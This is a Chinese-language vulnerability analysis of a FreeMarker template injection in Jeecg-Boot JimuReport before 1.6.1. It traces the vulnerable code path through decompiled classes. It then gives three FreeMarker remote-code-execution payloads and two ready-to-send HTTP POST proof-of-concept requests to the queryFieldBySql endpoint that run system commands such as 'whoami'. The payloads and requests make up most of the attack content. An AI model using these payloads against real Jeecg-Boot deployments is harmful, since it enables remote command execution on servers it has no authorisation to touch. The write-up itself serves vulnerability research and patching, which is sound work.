Jeecg-Boot framework模板注入
Jeecg-Boot积木报表JimuReport < 1.6.1存在Freemarker模板注入,攻击者可构造恶意请求触发模板注入,造成远程代码执行。
分析
用idea打开或者用jadx反编译jimureport-spring-boot-starter-1.5.8.jar
jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\a\a.class
可以看到获取json里面参数sql的值给var2

i.a(var2)是进行sql注入黑名单检查的这里贴个图

然后将var2带过去执行parseReportSql函数

jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\service\a\i.class
执行e.a(sql, var8, (JSONArray)null)

jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\util\e.class

jimureport-spring-boot-starter-1.5.8.jar!\org\jeecg\modules\jmreport\desreport\render\utils\FreeMarkerUtils.class
这里的var0是一开始的var2,freemarker模板注入的地方就不继续往下跟了

看着有点乱举个小栗子理解一下


FreeMarker的new内置函数
new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量
FreeMarker模板注入的payload
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
POC
无回显

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 89
{"sql":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"calc\")}"}
有回显

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 100
{"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"}